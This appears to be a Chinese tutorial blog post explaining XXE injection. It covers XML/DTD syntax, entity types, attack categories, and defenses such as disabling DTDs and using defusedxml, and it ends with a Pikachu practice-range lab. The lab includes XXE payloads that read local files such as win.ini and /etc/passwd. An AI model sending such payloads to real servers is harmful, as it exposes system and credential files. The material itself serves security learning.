当前位置: 首页 > news >正文

XXE(外部实体注入)

目录

学习xxe前提:了解xml格式

1. XML基础

2. XXE基础知识

2.1. 结构

2.2. 定义与原理

2.3. XML实体类型

2.4. 攻击类型

2.5. 防御措施

3. pikachu靶场xxe练习


学习xxe前提:了解xml格式

1. XML基础

文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD文档

<!DOCTYPE 根元素 SYSTEM "文件名">

<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">


内部声明实体

<!ENTITY 实体名称 "实体的值">

引用外部实体

<!ENTITY 实体名称 SYSTEM "URI">

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

调用方式:&实体名称;

设计它的目的是传输数据。XML语言的出现核心是用来展示及数据的交互

2. XXE基础知识

2.1. 结构

2.2. 定义与原理

XXE(XML External Entity)即XML外部实体注入攻击,利用XML解析器的配置缺陷,通过构造恶意外部实体,读取文件、发起SSRF攻击或执行远程代码。XML允许自定义实体,当解析器处理外部实体(SYSTEM关键字)时,若未严格限制,攻击者可注入恶意实体访问系统资源。

服务端接收了并解析了来自用户端的xml数据,但是没有做到严格的分析和过滤,导致外部实体注入

2.3. XML实体类型

  • 内部实体:在文档内定义,如 <!ENTITY name "value">
  • 外部实体:引用外部资源,如 <!ENTITY ext SYSTEM "file:///etc/passwd">
  • 参数实体:用于DTD内部,以%声明,如 <!ENTITY %n param "content">

%n表示=content,也可以理解为调用。

2.4. 攻击类型

  • 文件读取:利用file://协议读取服务器文件(如/etc/passwd)。
  • SSRF(服务端请求伪造):通过http://等协议探测内网服务。
  • 拒绝服务(DoS):加载大文件(如/dev/random)耗尽资源。
  • 远程代码执行(RCE):需特定环境支持(如PHP的expect模块)。
  • 综合能力,主要学会融会贯通,洞与洞之间的联通,

2.5. 防御措施

  • 禁用外部实体:配置解析器禁用DTD和外部实体(如Java的DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true))。
  • 使用安全解析器:如Python的defusedxml库。
  • 输入过滤:移除XML中的DOCTYPE声明和敏感关键字。
  • 数据格式替代:优先使用JSON等非XML格式。

3. pikachu靶场xxe练习

如图所示,图中具有一个接口,可以接受我所打入的xml代码。

现在我使用下面xml码传输数据

<?xml version = "1.0"?>

<!DOCTYPE note [

<!ENTITY hacker "shuaitan">

]>

<name>&hacker;</name>

具有回显

构造payload

接下来利用file协议进行敏感文件查看

查看文件: win.ini 该文件之前在文件包含时也查询过

是系统的默认文件

<?xml version = "1.0"?>

<!DOCTYPE note [

<!ENTITY hacker SYSTEM "file:///C:/windows/win.ini">

]>

<name>&hacker;</name>

敏感文件查看:

相关文章:

  • 我店模式系统开发打造本地生活生态商圈
  • 【深度学习-Day 15】告别“盲猜”:一文读懂深度学习损失函数
  • 2. Java 基础语法通关:变量、数据类型与运算符详解​
  • CST求解器
  • HarmonyOS 鸿蒙应用开发基础:父组件调用子组件方法的几种实现方案对比
  • Linux Docker下安装tomcat
  • 首次使用倍福工控机修改IP
  • Redis--SpringDataRedis详解
  • 基于 Free2AI 的企业知识库搭建全流程实战:从数据采集到智能问答
  • 笔记:将一个文件服务器上的文件(一个返回文件数据的url)作为另一个http接口的请求参数
  • DDoS攻击应对指南:提升网站安全性的有效策略
  • 【Django ORM】三万字了解Django ORM的基本概念和基本使用
  • 华为云Flexus+DeepSeek征文 | 基于ModelArts Studio和Cherry Studio快速构建午餐管家助手
  • CentOS7挂载hgfs文件夹(VMware 共享文件夹)及网卡的自启动。
  • 【分治】归并排序:递归版 非递归版
  • Python后端框架新星Robyn:性能与开发体验的双重革命
  • 01. Qt介绍及Qt开发环境搭建(2025.05最新官网下载方式)
  • mysql可重复读隔离级别下的快照读和当前读
  • 物理定律的数学结构基础及AI推理
  • 六:操作系统虚拟内存之抖动
  • 外贸官网建设/谷歌seo快速排名软件首页
  • 运营网站/广州seo黑帽培训
  • 网站设计分析/今日热点事件
  • 政府网站开发要求/关键词搜索量查询工具
  • 汕头百姓网交友/seo网站优化
  • 公司注册地址查询系统/广州seo技术外包公司